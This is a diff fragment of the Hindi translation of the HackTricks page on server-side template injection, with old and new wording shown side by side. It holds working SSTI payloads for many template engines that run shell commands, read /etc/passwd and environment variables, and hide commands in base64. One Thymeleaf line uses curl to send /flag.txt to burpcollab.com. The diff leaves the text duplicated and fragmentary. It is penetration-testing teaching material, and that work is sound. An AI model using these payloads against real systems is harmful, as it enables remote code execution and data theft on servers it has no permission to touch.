GCP हैकिंग सीखें और अभ्यास करें: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **हमारे** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** का पालन करें।**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रिपोजिटरी में PR सबमिट करें।
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (641).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com) **स्पेन** में सबसे प्रासंगिक साइबर सुरक्षा कार्यक्रम है और **यूरोप** में सबसे महत्वपूर्ण में से एक है। **तकनीकी ज्ञान को बढ़ावा देने** के मिशन के साथ, यह कांग्रेस हर अनुशासन में प्रौद्योगिकी और साइबर सुरक्षा पेशेवरों के लिए एक उबालता हुआ बैठक बिंदु है।
|
||||
[**RootedCON**](https://www.rootedcon.com) **स्पेन** में सबसे प्रासंगिक साइबरसिक्योरिटी इवेंट है और **यूरोप** में सबसे महत्वपूर्ण में से एक है। **तकनीकी ज्ञान को बढ़ावा देने** के मिशन के साथ, यह कांग्रेस हर अनुशासन में प्रौद्योगिकी और साइबरसिक्योरिटी पेशेवरों के लिए एक उबालता हुआ बैठक बिंदु है।
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
## What is SSTI (Server-Side Template Injection)
|
||||
## SSTI (Server-Side Template Injection) क्या है
|
||||
|
||||
Server-side template injection एक सुरक्षा कमजोरी है जो तब होती है जब एक हमलावर एक टेम्पलेट में दुर्भावनापूर्ण कोड इंजेक्ट कर सकता है जो सर्वर पर निष्पादित होता है। यह कमजोरी विभिन्न तकनीकों में पाई जा सकती है, जिसमें Jinja शामिल है।
|
||||
सर्वर-साइड टेम्पलेट इंजेक्शन एक कमजोरियों है जो तब होती है जब एक हमलावर एक टेम्पलेट में दुर्भावनापूर्ण कोड इंजेक्ट कर सकता है जो सर्वर पर निष्पादित होता है। यह कमजोरी विभिन्न तकनीकों में पाई जा सकती है, जिसमें Jinja शामिल है।
|
||||
|
||||
Jinja एक लोकप्रिय टेम्पलेट इंजन है जो वेब अनुप्रयोगों में उपयोग किया जाता है। आइए एक उदाहरण पर विचार करें जो Jinja का उपयोग करते हुए एक कमजोर कोड स्निपेट को प्रदर्शित करता है:
|
||||
```python
|
||||
|
@ -37,11 +39,11 @@ http://vulnerable-website.com/?name={{bad-stuff-here}}
|
|||
```
|
||||
The payload `{{bad-stuff-here}}` को `name` पैरामीटर में इंजेक्ट किया गया है। यह पेलोड Jinja टेम्पलेट निर्देशों को शामिल कर सकता है जो हमलावर को अनधिकृत कोड निष्पादित करने या टेम्पलेट इंजन में हेरफेर करने की अनुमति देते हैं, जिससे सर्वर पर नियंत्रण प्राप्त करने की संभावना होती है।
|
||||
|
||||
सर्वर-साइड टेम्पलेट इंजेक्शन कमजोरियों को रोकने के लिए, डेवलपर्स को यह सुनिश्चित करना चाहिए कि उपयोगकर्ता इनपुट को टेम्पलेट में डालने से पहले सही तरीके से साफ और मान्य किया गया है। इनपुट मान्यता को लागू करना और संदर्भ-जानकारी वाले एस्केपिंग तकनीकों का उपयोग करना इस कमजोरी के जोखिम को कम करने में मदद कर सकता है।
|
||||
सर्वर-साइड टेम्पलेट इंजेक्शन कमजोरियों को रोकने के लिए, डेवलपर्स को यह सुनिश्चित करना चाहिए कि उपयोगकर्ता इनपुट को टेम्पलेट में डाले जाने से पहले सही तरीके से साफ और मान्य किया गया है। इनपुट मान्यता को लागू करना और संदर्भ-सचेत एस्केपिंग तकनीकों का उपयोग करना इस कमजोरी के जोखिम को कम करने में मदद कर सकता है।
|
||||
|
||||
### Detection
|
||||
|
||||
सर्वर-साइड टेम्पलेट इंजेक्शन (SSTI) का पता लगाने के लिए, प्रारंभ में, **टेम्पलेट को फज़ करना** एक सीधा दृष्टिकोण है। इसमें टेम्पलेट में विशेष वर्णों की एक श्रृंखला (**`${{<%[%'"}}%\`**) को इंजेक्ट करना और नियमित डेटा की तुलना में इस विशेष पेलोड के लिए सर्वर की प्रतिक्रिया में अंतर का विश्लेषण करना शामिल है। कमजोरी के संकेतों में शामिल हैं:
|
||||
सर्वर-साइड टेम्पलेट इंजेक्शन (SSTI) का पता लगाने के लिए, प्रारंभ में, **टेम्पलेट को फज़ करना** एक सीधा दृष्टिकोण है। इसमें टेम्पलेट में विशेष वर्णों की एक श्रृंखला (**`${{<%[%'"}}%\`**) इंजेक्ट करना और नियमित डेटा बनाम इस विशेष पेलोड के लिए सर्वर की प्रतिक्रिया में अंतर का विश्लेषण करना शामिल है। कमजोरी के संकेतों में शामिल हैं:
|
||||
|
||||
* फेंके गए त्रुटियाँ, जो कमजोरी और संभावित रूप से टेम्पलेट इंजन को प्रकट करती हैं।
|
||||
* परावर्तन में पेलोड की अनुपस्थिति, या इसके कुछ हिस्सों का गायब होना, यह संकेत करता है कि सर्वर इसे नियमित डेटा की तुलना में अलग तरीके से संसाधित करता है।
|
||||
|
@ -50,7 +52,13 @@ The payload `{{bad-stuff-here}}` को `name` पैरामीटर मे
|
|||
|
||||
#### Identification Phase
|
||||
|
||||
टेम्पलेट इंजन की पहचान करने के लिए त्रुटि संदेशों का विश्लेषण करना या विभिन्न भाषा-विशिष्ट पेलोड का मैन्युअल परीक्षण करना शामिल है। सामान्य पेलोड जो त्रुटियाँ उत्पन्न करते हैं उनमें `${7/0}`, `{{7/0}}`, और `<%= 7/0 %>` शामिल हैं। गणितीय संचालन के लिए सर्वर की प्रतिक्रिया को देखना विशिष्ट टेम्पलेट इंजन को पहचानने में मदद करता है।
|
||||
टेम्पलेट इंजन की पहचान करने के लिए त्रुटि संदेशों का विश्लेषण करना या विभिन्न भाषा-विशिष्ट पेलोड का मैन्युअल परीक्षण करना शामिल है। सामान्य पेलोड जो त्रुटियाँ उत्पन्न करते हैं उनमें `${7/0}`, `{{7/0}}`, और `<%= 7/0 %>` शामिल हैं। गणितीय संचालन के प्रति सर्वर की प्रतिक्रिया को देखना विशिष्ट टेम्पलेट इंजन को पहचानने में मदद करता है।
|
||||
|
||||
#### Identification by payloads
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (9).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg</a></p></figcaption></figure>
|
||||
|
||||
* अधिक जानकारी के लिए [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
|
||||
|
||||
## Tools
|
||||
|
||||
|
@ -101,7 +109,7 @@ ${class.getResource("../../../../../index.htm").getContent()}
|
|||
```java
|
||||
${T(java.lang.System).getenv()}
|
||||
```
|
||||
**Java - /etc/passwd प्राप्त करें**
|
||||
**जावा - /etc/passwd प्राप्त करें**
|
||||
```java
|
||||
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
|
||||
|
||||
|
@ -135,7 +143,7 @@ ${dwf.newInstance(ec,null)("id")}
|
|||
```
|
||||
**अधिक जानकारी**
|
||||
|
||||
* [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) के FreeMarker अनुभाग में
|
||||
* FreeMarker अनुभाग में [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker)
|
||||
|
||||
### Velocity (Java)
|
||||
|
@ -163,7 +171,7 @@ $out.read()
|
|||
```
|
||||
**अधिक जानकारी**
|
||||
|
||||
* [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) के Velocity अनुभाग में
|
||||
* Velocity अनुभाग में [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity)
|
||||
|
||||
### Thymeleaf
|
||||
|
@ -181,11 +189,11 @@ ${T(java.lang.Runtime).getRuntime().exec('calc')}
|
|||
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
|
||||
```
|
||||
|
||||
Thymeleaf को इन अभिव्यक्तियों को विशिष्ट विशेषताओं के भीतर रखा जाना आवश्यक है। हालाँकि, _expression inlining_ अन्य टेम्पलेट स्थानों के लिए समर्थित है, जैसे कि `[[...]]` या `[(...)]` का उपयोग करके। इस प्रकार, एक सरल SSTI परीक्षण पेलोड इस तरह दिख सकता है `[[${7*7}]]`।
|
||||
Thymeleaf को इन अभिव्यक्तियों को विशिष्ट विशेषताओं के भीतर रखा जाना आवश्यक है। हालाँकि, _अभिव्यक्ति इनलाइनिंग_ अन्य टेम्पलेट स्थानों के लिए समर्थित है, जैसे कि `[[...]]` या `[(...)]` का उपयोग करके। इस प्रकार, एक सरल SSTI परीक्षण पेलोड इस तरह दिख सकता है `[[${7*7}]]`.
|
||||
|
||||
हालांकि, इस पेलोड के काम करने की संभावना आमतौर पर कम होती है। Thymeleaf की डिफ़ॉल्ट कॉन्फ़िगरेशन गतिशील टेम्पलेट निर्माण का समर्थन नहीं करती है; टेम्पलेट को पूर्वनिर्धारित होना चाहिए। डेवलपर्स को ऑन-द-फ्लाई स्ट्रिंग से टेम्पलेट बनाने के लिए अपना `TemplateResolver` लागू करने की आवश्यकता होगी, जो असामान्य है।
|
||||
हालांकि, इस पेलोड के काम करने की संभावना आमतौर पर कम होती है। Thymeleaf की डिफ़ॉल्ट कॉन्फ़िगरेशन गतिशील टेम्पलेट निर्माण का समर्थन नहीं करती है; टेम्पलेट को पूर्वनिर्धारित होना चाहिए। डेवलपर्स को ऑन-द-फ्लाई स्ट्रिंग्स से टेम्पलेट बनाने के लिए अपना `TemplateResolver` लागू करने की आवश्यकता होगी, जो असामान्य है।
|
||||
|
||||
Thymeleaf _expression preprocessing_ भी प्रदान करता है, जहाँ डबल अंडरस्कोर (`__...__`) के भीतर अभिव्यक्तियों को पूर्व-प्रसंस्कृत किया जाता है। इस सुविधा का उपयोग अभिव्यक्तियों के निर्माण में किया जा सकता है, जैसा कि Thymeleaf के दस्तावेज़ में प्रदर्शित किया गया है:
|
||||
Thymeleaf _अभिव्यक्ति पूर्वप्रसंस्करण_ भी प्रदान करता है, जहाँ डबल अंडरस्कोर (`__...__`) के भीतर अभिव्यक्तियों को पूर्वप्रसंस्कृत किया जाता है। इस सुविधा का उपयोग अभिव्यक्तियों के निर्माण में किया जा सकता है, जैसा कि Thymeleaf के दस्तावेज़ में प्रदर्शित किया गया है:
|
||||
```java
|
||||
#{selection.__${sel.code}__}
|
||||
```
|
||||
|
@ -196,7 +204,7 @@ Thymeleaf _expression preprocessing_ भी प्रदान करता ह
|
|||
<a th:href="@{__${path}__}" th:title="${title}">
|
||||
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
|
||||
```
|
||||
यह इंगित करता है कि यदि टेम्पलेट इंजन इन इनपुट्स को गलत तरीके से प्रोसेस करता है, तो यह दूरस्थ कोड निष्पादन की ओर ले जा सकता है जो URLs तक पहुँच सकता है जैसे:
|
||||
यह इंगित करता है कि यदि टेम्पलेट इंजन इन इनपुट को गलत तरीके से प्रोसेस करता है, तो यह दूरस्थ कोड निष्पादन की ओर ले जा सकता है जो URLs तक पहुँच सकता है जैसे:
|
||||
```
|
||||
http://localhost:8082/(7*7)
|
||||
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
|
||||
|
@ -273,7 +281,7 @@ Pebble का पुराना संस्करण ( < संस्करण
|
|||
```java
|
||||
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
|
||||
```
|
||||
नई संस्करण Pebble :
|
||||
Pebble का नया संस्करण:
|
||||
```java
|
||||
{% raw %}
|
||||
{% set cmd = 'id' %}
|
||||
|
@ -304,7 +312,7 @@ Jinjava एक ओपन सोर्स प्रोजेक्ट है ज
|
|||
|
||||
**Jinjava - कमांड निष्पादन**
|
||||
|
||||
इससे ठीक किया गया [https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230)
|
||||
[https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230) द्वारा ठीक किया गया
|
||||
```java
|
||||
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
|
||||
|
||||
|
@ -422,9 +430,15 @@ new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value=
|
|||
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
|
||||
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
|
||||
```
|
||||
### Other Java
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (7).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg</a></p></figcaption></figure>
|
||||
|
||||
* अधिक जानकारी के लिए [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) **स्पेन** में सबसे प्रासंगिक साइबरसुरक्षा कार्यक्रम है और **यूरोप** में सबसे महत्वपूर्ण में से एक है। **तकनीकी ज्ञान को बढ़ावा देने** के मिशन के साथ, यह कांग्रेस हर अनुशासन में प्रौद्योगिकी और साइबरसुरक्षा पेशेवरों के लिए एक उबालता हुआ बैठक बिंदु है।
|
||||
[**RootedCON**](https://www.rootedcon.com/) **स्पेन** में सबसे प्रासंगिक साइबरसुरक्षा कार्यक्रम है और **यूरोप** में सबसे महत्वपूर्ण में से एक है। **तकनीकी ज्ञान को बढ़ावा देने** के मिशन के साथ, यह कांग्रेस हर अनुशासन में प्रौद्योगिकी और साइबरसुरक्षा पेशेवरों के लिए एक उष्णकटिबंधीय बैठक स्थल है।
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
|
@ -586,6 +600,12 @@ echo $t->finish($t->parse('OUT', 'authors'));
|
|||
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html\_template\_phplib](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html\_template\_phplib)
|
||||
|
||||
### अन्य PHP
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (6).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg</a></p></figcaption></figure>
|
||||
|
||||
* अधिक जानकारी [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
|
||||
|
||||
### जेड (NodeJS)
|
||||
```javascript
|
||||
- var x = root.process
|
||||
|
@ -622,7 +642,7 @@ Hello {NAME}.<br/>
|
|||
|
||||
### हैंडलबार्स (NodeJS)
|
||||
|
||||
पाथ ट्रैवर्सल (अधिक जानकारी [यहाँ](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/) पर)।
|
||||
पाथ ट्रैवर्सल (अधिक जानकारी [यहाँ](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)).
|
||||
```bash
|
||||
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
|
||||
```
|
||||
|
@ -663,8 +683,8 @@ URLencoded:
|
|||
| ------------ | ------------------------------------- |
|
||||
| | आउटपुट का मूल्यांकन और रेंडर करना |
|
||||
| | एचटीएमएल एन्कोडेड आउटपुट का मूल्यांकन और रेंडर करना |
|
||||
| | टिप्पणी |
|
||||
| और | कोड की अनुमति (डिफ़ॉल्ट रूप से अक्षम) |
|
||||
| | टिप्पणी |
|
||||
| और | कोड की अनुमति (डिफ़ॉल्ट रूप से अक्षम) |
|
||||
|
||||
* \= 49
|
||||
|
||||
|
@ -709,6 +729,14 @@ home = pugjs.render(injected_page)
|
|||
|
||||
* [http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine](http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine)
|
||||
|
||||
### अन्य NodeJS
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image.png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg</a></p></figcaption></figure>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg</a></p></figcaption></figure>
|
||||
|
||||
* अधिक जानकारी [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
|
||||
|
||||
### ERB (Ruby)
|
||||
|
||||
* `{{7*7}} = {{7*7}}`
|
||||
|
@ -740,15 +768,23 @@ home = pugjs.render(injected_page)
|
|||
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby)
|
||||
|
||||
### Python
|
||||
### अन्य रूबी
|
||||
|
||||
**arbitrary command execution bypassing sandboxes** के बारे में ट्रिक्स जानने के लिए निम्नलिखित पृष्ठ पर जाएं:
|
||||
<figure><img src="../../.gitbook/assets/image (4).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg</a></p></figcaption></figure>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (5).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg</a></p></figcaption></figure>
|
||||
|
||||
* अधिक जानकारी [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756) में
|
||||
|
||||
### पायथन
|
||||
|
||||
**सैंडबॉक्स को बायपास करते हुए मनमाने कमांड निष्पादन** के बारे में ट्रिक्स जानने के लिए निम्नलिखित पृष्ठ देखें:
|
||||
|
||||
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
|
||||
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Tornado (Python)
|
||||
### टॉर्नेडो (पायथन)
|
||||
|
||||
* `{{7*7}} = 49`
|
||||
* `${7*7} = ${7*7}`
|
||||
|
@ -778,7 +814,7 @@ home = pugjs.render(injected_page)
|
|||
|
||||
[आधिकारिक वेबसाइट](http://jinja.pocoo.org)
|
||||
|
||||
> Jinja2 Python के लिए एक पूर्ण विशेषताओं वाला टेम्पलेट इंजन है। इसमें पूर्ण यूनिकोड समर्थन है, एक वैकल्पिक एकीकृत सैंडबॉक्स निष्पादन वातावरण है, व्यापक रूप से उपयोग किया जाता है और BSD लाइसेंस प्राप्त है।
|
||||
> Jinja2 Python के लिए एक पूर्ण विशेषताओं वाला टेम्पलेट इंजन है। इसमें पूर्ण यूनिकोड समर्थन है, एक वैकल्पिक एकीकृत सैंडबॉक्स कार्यान्वयन वातावरण है, व्यापक रूप से उपयोग किया जाता है और BSD लाइसेंस प्राप्त है।
|
||||
|
||||
* `{{7*7}} = Error`
|
||||
* `${7*7} = ${7*7}`
|
||||
|
@ -819,7 +855,7 @@ home = pugjs.render(injected_page)
|
|||
|
||||
|
||||
```
|
||||
[**RCE निर्भर नहीं है**](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/) `__builtins__`:
|
||||
[**RCE पर निर्भर नहीं है**](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/) `__builtins__`:
|
||||
```python
|
||||
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
|
||||
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
|
||||
|
@ -850,14 +886,22 @@ ${x}
|
|||
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako)
|
||||
|
||||
### अन्य पायथन
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg</a></p></figcaption></figure>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg</a></p></figcaption></figure>
|
||||
|
||||
* अधिक जानकारी [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
|
||||
|
||||
### Razor (.Net)
|
||||
|
||||
* `@(2+2) <= सफलता`
|
||||
* `@() <= सफलता`
|
||||
* `@("{{code}}") <= सफलता`
|
||||
* `@ <=सफलता`
|
||||
* `@{} <= त्रुटि!`
|
||||
* `@{ <= त्रुटि!`
|
||||
* `@(2+2) <= Success`
|
||||
* `@() <= Success`
|
||||
* `@("{{code}}") <= Success`
|
||||
* `@ <=Success`
|
||||
* `@{} <= ERROR!`
|
||||
* `@{ <= ERRROR!`
|
||||
* `@(1+2)`
|
||||
* `@( //C#Code )`
|
||||
* `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
|
||||
|
@ -885,7 +929,7 @@ ${x}
|
|||
|
||||
### Mojolicious (Perl)
|
||||
|
||||
यह पर्ल होने के बावजूद, यह रूबी में ERB की तरह टैग का उपयोग करता है।
|
||||
यह भले ही पर्ल है, लेकिन यह रूबी में ERB की तरह टैग का उपयोग करता है।
|
||||
|
||||
* `<%= 7*7 %> = 49`
|
||||
* `<%= foobar %> = Error`
|
||||
|
@ -899,7 +943,9 @@ Go के टेम्पलेट इंजन में, इसके उप
|
|||
|
||||
* `{{ . }}`: डेटा संरचना इनपुट को प्रकट करता है। उदाहरण के लिए, यदि एक ऑब्जेक्ट जिसमें `Password` विशेषता है, पास किया जाता है, तो `{{ .Password }}` इसे उजागर कर सकता है।
|
||||
* `{{printf "%s" "ssti" }}`: "ssti" स्ट्रिंग प्रदर्शित करने की अपेक्षा की जाती है।
|
||||
* `{{html "ssti"}}`, `{{js "ssti"}}`: ये पेलोड "ssti" को "html" या "js" जोड़े बिना लौटाना चाहिए। आगे के निर्देशों को Go दस्तावेज़ में [यहां](https://golang.org/pkg/text/template) खोजा जा सकता है।
|
||||
* `{{html "ssti"}}`, `{{js "ssti"}}`: ये पेलोड "html" या "js" को जोड़ने के बिना "ssti" लौटाने चाहिए। आगे के निर्देशों को Go दस्तावेज़ में [यहां](https://golang.org/pkg/text/template) खोजा जा सकता है।
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (8).png" alt="" width="375"><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg</a></p></figcaption></figure>
|
||||
|
||||
**XSS Exploitation**
|
||||
|
||||
|
@ -909,7 +955,7 @@ vbnet Copy code
|
|||
|
||||
**RCE Exploitation**
|
||||
|
||||
RCE शोषण `html/template` और `text/template` के बीच काफी भिन्न है। `text/template` मॉड्यूल किसी भी सार्वजनिक फ़ंक्शन को सीधे कॉल करने की अनुमति देता है ( "call" मान का उपयोग करके), जो `html/template` में अनुमति नहीं है। इन मॉड्यूल के लिए दस्तावेज़ [html/template के लिए यहां](https://golang.org/pkg/html/template/) और [text/template के लिए यहां](https://golang.org/pkg/text/template/) उपलब्ध है।
|
||||
RCE शोषण `html/template` और `text/template` के बीच काफी भिन्न होता है। `text/template` मॉड्यूल किसी भी सार्वजनिक फ़ंक्शन को सीधे कॉल करने की अनुमति देता है ( "call" मान का उपयोग करके), जो `html/template` में अनुमति नहीं है। इन मॉड्यूल के लिए दस्तावेज़ [यहां html/template के लिए](https://golang.org/pkg/html/template/) और [यहां text/template के लिए](https://golang.org/pkg/text/template/) उपलब्ध है।
|
||||
|
||||
Go में SSTI के माध्यम से RCE के लिए, ऑब्जेक्ट विधियों को आह्वान किया जा सकता है। उदाहरण के लिए, यदि प्रदान किया गया ऑब्जेक्ट एक `System` विधि है जो कमांड निष्पादित करता है, तो इसे इस तरह से शोषित किया जा सकता है: `{{ .System "ls" }}`। इसे शोषित करने के लिए आमतौर पर स्रोत कोड तक पहुंच आवश्यक होती है, जैसा कि दिए गए उदाहरण में:
|
||||
```go
|
||||
|
@ -945,7 +991,7 @@ return string(out)
|
|||
* [https://github.com/epinna/tplmap](https://github.com/epinna/tplmap)
|
||||
* [https://github.com/Hackmanit/template-injection-table](https://github.com/Hackmanit/template-injection-table)
|
||||
|
||||
## ब्रूट-फोर्स डिटेक्शन लिस्ट
|
||||
## ब्रूट-फोर्स डिटेक्शन सूची
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
|
||||
|
||||
|
@ -957,7 +1003,7 @@ return string(out)
|
|||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
